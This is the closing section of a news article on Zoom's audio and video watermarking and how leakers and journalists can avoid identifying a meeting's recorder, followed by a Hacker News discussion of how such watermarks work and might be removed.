In contrast, the audio watermarks are not readily perceptible to casual listeners, though they are what in watermarking parlance is known as "overt." That means the fact that they are embedded is easily discerned by meeting participants: When a Zoom meeting has the audio watermark, or what Zoom also calls the "audio signature," feature enabled, the meeting will have a green circular icon with a sound wave and a padlock at the top left of the frame next to the encryption icon.

The presence of the circular audio watermark icon next to the encryption shield icon is an indicator that the audio of the meeting is watermarked.

Screenshot: The Intercept

It is not immediately apparent at what point Zoom injects its "ultrasonic" audio watermark into the audio stream — whether this happens only if a meeting attendee presses the Record button in Zoom or if the audio stream is watermarked prior to that point. Nonetheless, when recording a Zoom meeting, it is best to avoid using Zoom's built-in recording option and to capture the meeting using a third-party audio/video recorder. Zoom mentions that in order to identify the participant who recorded the meeting, they need at least two minutes of audio from the meeting, though it stands to reason that shorter snippets may also be identifiable if they happen to contain the audio watermark.

Journalists should also be wary of publishing raw audio leaked from Zoom meetings, particularly if the source is not sure whether audio watermarking was enabled or not.

Recording Gotchas — Inadvertent Source Identification

Aside from Zoom's own watermarks, a number of elements appearing on an individual's own device may inadvertently give away the identity of the person who is recording. If the meeting video is being recorded either via screen recording software or a camera, there are a number of elements to watch out for. For example:

The video layout order should be manually rearranged.

  • When displaying meeting participants, Zoom software on a smartphone, laptop, or other device prioritizes displaying the attendee who is using the device. In other words, each participant will typically see themselves displayed in the top row on their screen when in a Zoom meeting. This in turn means that it may be possible to deduce who recorded a leaked Zoom video based on the participant order displayed on the screen. To mitigate against this, prior to video recording a Zoom meeting, the video layout order should be manually rearranged at random. If viewing the video in full-screen mode, care should be taken to remove self-view from the frame.
  • The Zoom app should be positioned in such a way on the desktop as to minimize the chance for interference from other desktop apps, such as the chance of new message or email notification pop-ups appearing over the Zoom window. Upon completion of the recording, the video should be carefully reviewed to make certain that no such identifying notifications inadvertently appeared anywhere in the recording.
  • In certain cases, even revealing information about the recording user's underlying operating system may potentially compromise the source. For instance, if the source is recording a video of a company meeting from a Mac, and company personnel are known to predominantly use Windows, it may be possible to check meeting access logs to identify the meeting attendee who joined from a Mac. For this reason, the recording area may be tightly cropped to remove OS identifiers like menu or title bars. Additionally, elements such as mouse pointers should also be excluded from the recording area to avoid leaking information about the OS (owing to the fact that, for instance, a default mouse pointer on Windows machines is white with a black outline, while it is black with a white outline on Macs).
  • The participant recording the Zoom meeting should also be mindful of their participation in the meeting. For instance, if typing into the chatbox, this activity may be used to identify the recorder.
  • If recording meetings with an exterior device such as a phone camera, be aware that your camera may be uniquely identifiable via visible defects such as unique smudges or scratch patterns on the lens as well as a myriad of forensic techniques falling under the umbrella of source camera identification. For especially sensitive meetings, it is advisable to use a recording device solely acquired for purposes of conducting the recording of a specific meeting and to dispose of the device after the recording.

Zoom meetings present a unique set of challenges for source protection, but these challenges can be minimized by following best practices and taking care not to publish raw meeting materials unless there is high confidence that the recordings were not watermarked and have been thoroughly reviewed to make sure no other potentially identifying features are present in the audio or video.




All Comments: [-] | anchor

ojosilva(10000) 5 days ago [-]

My wild guess is that watermarking is done on the client. Doing it at the server stage requires running an encoder for each user connected to the meeting, which increases broadcast costs imensily for Zoom. It would make sense for security reasons, but the trend with them seems to be profit instead.

If watermarking is therefore done at the client stage just before being heard/seen at each endpoint, then there is a good chance that it is hackable and watermarking code could be patched or audio/video extracted before watermarking occurs.

It would still require whistle-blowers to take this more envolved step before leaking a meeting though.

mmcwilliams(10000) 4 days ago [-]

In theory you could test this by using the web client and seeing if the watermarking occurs and even examining the web client code directly. Of course at that point you could just decompile the native client to the same ends.

orisho(10000) 5 days ago [-]

They probably do run an encoder on the server. When in a many-users meeting, everyone but the one speaking have reduced resolution and bitrate. This suggests they are encoding a low bitrate and high bitrate stream for each user, and switching as needed.

dylan604(10000) 5 days ago [-]

You could also apply the watermarking on the sending user's side. During the meeting 'handshake', the watermark could be issued to each participant. The watermark could then be encoded before pushing out to the server. This would then ensure that all video is encoded when it is received by any viewer, all while removing any work needed to be done by the server.

madeofpalk(10000) 5 days ago [-]

I would never want to record in-software on the same computer Zoom was running. I would be way too paranoid about who knows what software or introspection the Zoom app is running to identify this sort of stuff.

I would, hypothetically, record using my phone, being sure to make it not visible from the camera.

namelosw(10000) 5 days ago [-]

I wonder if using external cameras and microphones to record the screen directly, would that deal with all these kinds of invisible / inaudible watermarks?

prionassembly(10000) 5 days ago [-]

A few years ago I was in a team and one of our coworkers was (perhaps due to sexism) continually stuck with charliework like keeping notes of meetings with clients. She eventually started recording all meetings in her cellphone and summarizing key points at a later leisurely pace so she could also effectively participate in the meeting.

This was like before the Olympics in Brazil, so it must have been 2015, maybe earlier. Since then, I've always assumed that someone is secretively recording all meetings where I have to wear a suit.

Much, much earlier, during the 2008 meltdown, meetings sometimes ended with loosen-up remarks that one wouldn't want recorded (one client was a big corp whose CEO was known to have an extremely attractive wife). These were valuable bonding moments, but maybe they underscored a corporate culture that had its downsides (like making the pretty girl in the team do all the charliework).

mhh__(10000) 5 days ago [-]

A 'in a hurry' hack might be to run it through a bad phone line? Still understandable, but you can probably guess that the phone provider is going to crush the spectrum and significantly reduce the bit depth.

adamjb(10000) 5 days ago [-]

Similarly my first thought would be to reencode it as <96kbit/s MP3.

m463(10000) 5 days ago [-]

I doubt that would work. I would imagine there are trivial ways to let a watermark survive transcoding.

Sort of like the content recognition systems in use:

https://en.wikipedia.org/wiki/Automatic_content_recognition

on the other hand, I found this interesting:

In January 2018, a YouTube uploader who created a white noise generator received copyright notices about a video he uploaded which was created using this tool and therefore contained only white noise.

from https://en.wikipedia.org/wiki/Content_ID_(system)

luch(10000) 5 days ago [-]

I think the better hack would be to run it into a speech-to-text transcoder, and then use a vocoder to play it back.

You lose the 'voice' in the process, but in some situations it might actually be fine

nucleardog(10000) 5 days ago [-]

An earlier comment[0] says there's a reliable method for including ids and things in AM audio at 5KHz bandwidth.

POTS is a few KHz. So less, but without looking into Nielsen's fingerprinting methods I wouldn't say you could assume that the fingerprint wouldn't be preserved running it through a phone line first.

[0] https://news.ycombinator.com/item?id=25831303

gorgoiler(10000) 5 days ago [-]

This is fascinating and really made me think. The article is pitched at leakers but it could just as likely be pitched at journalists. If you consume news from an outlet that doesn't follow The Intercept's advice then complain immediately to the editor.

When you leak something it needs to be credible. Removing watermarks also reduces the fidelity and therefore the credibility. If 99% of the screen is blurred and the audio has been transcribed then how does the receiver know this is a real leak at all?

The answer lies in reputation. Leak high fidelity material to a trusted third party, usually a journalist. This can include just showing them the material though that involves meeting in person. They will verify the source material, summarise and down sample it to conceal the source actor, and maybe even destroy the source material itself.

The economics are simple: if you get a reputation for revealing sources then people will stop leaking secrets to you. Newsrooms that rebroadcast Zoom caps verbatim are revealing sources and need to clean up their act if we are to continue to rely on what's left of The Fourth Estate.

okintheory(10000) 5 days ago [-]

It's worth remembering that the Intercept hardly has a stellar reputation for protecting sources: they completely bungled the Reality Winner leak.

https://en.wikipedia.org/wiki/Reality_Winner

ErikVandeWater(10000) 5 days ago [-]

> If 99% of the screen is blurred and the audio has been transcribed then how does the receiver know this is a real leak at all?

There is probably a way to eliminate the possibility of revealing the source without compromising any significant amount of fidelity.

nickff(10000) 5 days ago [-]

There are flaws with this model, here is an example (which would never have been revealed if the documents had not been released): https://en.wikipedia.org/wiki/Killian_documents_controversy

paxys(10000) 5 days ago [-]

Journalists/whistleblowers have had to deal with the same set of issues for digital images and other documents & media for a while now. Visible & invisible watermarks, custom metadata and even non-standard binary manipulation means that shared files are pretty much fully trackable, and complete anonymization is out of reach for everyone but the most technical users.

wyager(10000) 5 days ago [-]

I'll take this opportunity to shill my little tool I wrote for this purpose https://github.com/wyager/metastrip

It removes metadata (in the dumbest way possible - convert to raster and back) and also inserts random noise to defeat straightforward stego.

bobthepanda(10000) 5 days ago [-]

Dumb question. Could one take additional measures with media to disguise watermarking (e.g. rather than uploading an image, take a crap photo of the image on a screen using a physical camera)

sillysaurusx(10000) 5 days ago [-]

Not exactly. Whonix makes it easy — or at least as easy as possible. If you're in need of such services, I encourage you to visit their wiki.

btbuildem(10000) 5 days ago [-]

The audio watermark seems trivial to work around, unless there's more to it than they're disclosing. A low- and high-pass filter may be all it takes to block it.

The visual watermark is more tricky, but thanks to streaming video piracy, we have a bunch of out-of-the-box watermark removal techniques.

Interesting arms race :)

joshka(10000) 5 days ago [-]

It would be fairly trivial to encode information in single frame swaps (both audio and video) in such a way that these swaps are imperceptible and irreversible. There are many compression artifacts that could be used similarly (e.g. does a 1 bit increase in average screen color is rarely going to be perceptible).

Regarding hi/low pass, theoretically this should be fairly simple to defeat by spreading the information across multiple frames.

Note: I know next to nothing about watermarking, my comment is just a purely hypothetical attack on your trivial assumption. The trivial work around has trivial work around work around... ;) <insert that scene from the big hit>

megous(10000) 5 days ago [-]

So this may be visible on the spectrogram, right?

cozzyd(10000) 5 days ago [-]

Maybe, maybe not. You can probably make statistical changes to the lowest bits in certain samples or something that would be quite difficult to detect.

roamingryan(10000) 5 days ago [-]

Not necessarily. Watermarking an audio stream like this wouldn't require that high of a bit rate. It could easily be hidden 'under' the content using coding techniques like direct-sequence spread spectrum.

A real world example is GPS, which uses a spreading code to provide about 30 dB of gain. GPS signals aren't directly observable relative to the noise floor in many receivers. It's not until after the signal is 'de-spread' that it becomes observable in a spectrogram. This process requires prior knowledge of the signal structure.

In short, if you don't need to send data at high rate there are many ways to hide your signal.

limaoscarjuliet(10000) 5 days ago [-]

Also remember you may record your own reflection in the screen when using a camera to capture the video. Film in a dark, quiet room would be my approach.

BasDirks(10000) 5 days ago [-]

Don't you think that in a darker room the reflection of the person behind the screen would actually become more apparent?

turbinerneiter(10000) 5 days ago [-]

Funny coming from the intercept, given that recently two founding members have left due to their mistakes in protecting sources.

Merman_Mike(10000) 5 days ago [-]

> [...] due to their mistakes in protecting sources.

This is plainly false.

Neither of them worked directly on the Reality Winner story, especially including handling the leaked material.

goatinaboat(10000) 5 days ago [-]

given that recently two founding members have left due to their mistakes in protecting sources.

At the NYT mistakes like that get brushed under the carpet. Their personal professional integrity is why you can trust The Intercept.

xxpor(10000) 5 days ago [-]

Next week on HN:

Show HN: zoom-dewatermarker (github.com)

Seriously though, I doubt what Zoom is adding (specifically for audio) is anything that new. Does anyone have experience removing this type of stuff? Would something like a bandpass filter for say, 100 Hz-15 kHz work?

mpoteat(10000) 5 days ago [-]

From my perspective, the only fool proof way of removing all audio watermarks from a conversation is to run individual speaker detection, STT detection, and voice cloning algorithms to 'recreate' the conversation from scratch.

Even things like background electrical hum have been used in audio forensics.

young_unixer(10000) 5 days ago [-]

Not if Zoom uses something like this: https://en.wikipedia.org/wiki/Cinavia

S_A_P(10000) 5 days ago [-]

That is my first thought. I have a few specialty plugins in Wavelab that I would be curious to run a Zoom capture through. If its ultrasonic, then as you say a low pass filter should suffice, but theres a million ways to encode data...

vorpalhex(10000) 5 days ago [-]

I mean, should be as easy as recording your own zoom call with the Watermark enabled and a well known audio track (a metronome, dead silence, etc). Rip audio from the recording and examine it for anything outside of the metronome.

Probably need to do this several times for different participants and meetings to get an idea of what the watermark looks like and where in the spectrum it sits.

filmgirlcw(10000) 5 days ago [-]

Like another commenter mentioned, I doubt that the watermark here is super sophisticated, but the fact that it exists and is "unknown" creates a higher degree of risk for a would-be leaker. And that might be enough to stop some people from leaking.

That said, if you don't work for a three letter government agency, in finance (especially at an investment bank) or at a corporation with tens of thousands of employees (and ideally, a tech company), there are plenty of non-technical reasons that leaking can be considered a relatively low-risk activity. The biggest reason is that the IT person tasked with finding a leaker, assuming it was from a meeting that many people attended, often isn't paid enough and has a lot more valuable things to do than to try to play audio forensics. I know of several instances where companies have threatened to release the hounds, so to speak, to find a leaker, only for those hounds to be people who are either about to be laid odd or who have just lost a sizable portion of their team. Not a lot of motivation for those people to really care, so they just tell the angry executive they tried but couldn't figure it out, the executive is placated by trying, and everyone moves on to another crisis.

And of course, many of these leaks only matter if the recording itself is widely shared or published. If something is recorded but given to a news organization who is instructed (or does their own due diligence and decides not to publish the audio/video/document) not to publish the recording but to use it as a source, well, good luck. In the US, shield laws typically prevent a news organization from turning over their sources.

It's like with screeners for the Oscars. The screeners will be watermarked with your name and that's usually enough to keep them off of torrent sites, but that doesn't mean you don't have a Dropbox or Plex account full of them that you share with your close friends and family. Like, sharing my WGA screeners with my mom is about as low-risk as it gets.

goatinaboat(10000) 5 days ago [-]

I doubt that the watermark here is super sophisticated

Can you explain more why you doubt this? Zoom has the financial and other resources to be state-of-the-art here if they wanted to be.

gm(10000) 5 days ago [-]

Hmm, I record meetings with Camtasia instead of fumbling around with the built-in functionality (specially when it's a meeting you are not hosting). I wonder to what degree this that gets rid of these invisible watermarks.

angry_octet(10000) 5 days ago [-]

Not at all is my guess. But it doesn't have a big flag in the server log saying 'user gm turned on recording'

ckemere(10000) 5 days ago [-]

I'm super confused: if this is a feature for corporate zoom accounts, surely someone on Hacker News (or at The Intercept) has access and can mess with recorded audio to test what sort of manipulation can defeat the watermark. Unless you have to ask Zoom to process the watermark every time?? (If this is widespread, why has no one with knowledge of the process commented?)

parliament32(10000) 5 days ago [-]

Yes, it sounds like you need to ask zoom to decode the watermark every time (give them the original meeting ID / timestamp, and a recording).

keyle(10000) 5 days ago [-]

Why would Zoom feel that ultrasonic watermark be necessary or a selling feature? Am I missing something? Why would you want to do this?

AmericanChopper(10000) 5 days ago [-]

It's a strange and peculiar concept to most people. Even if you knew how you might approach removing such a watermark, you wouldn't know how sophisticated it is, so you wouldn't be able to know whether you'd succeeded or not. I'd guess most zoom users wouldn't even know where to start with removing such a watermark.

I personally doubt it's particularly sophisticated at all. But the fear of getting caught it creates would be enough to deter a significant portion of potential leakers.

Why is any watermarking necessary at all? Because DLP (which includes anti-leaking control) is a huge concern for most businesses, and working from home makes the problem even more serious. Zoom is trying very hard to position themselves in this market (and doing a rather good job of it), so in that context the feature makes perfect sense.

CathedralBorrow(10000)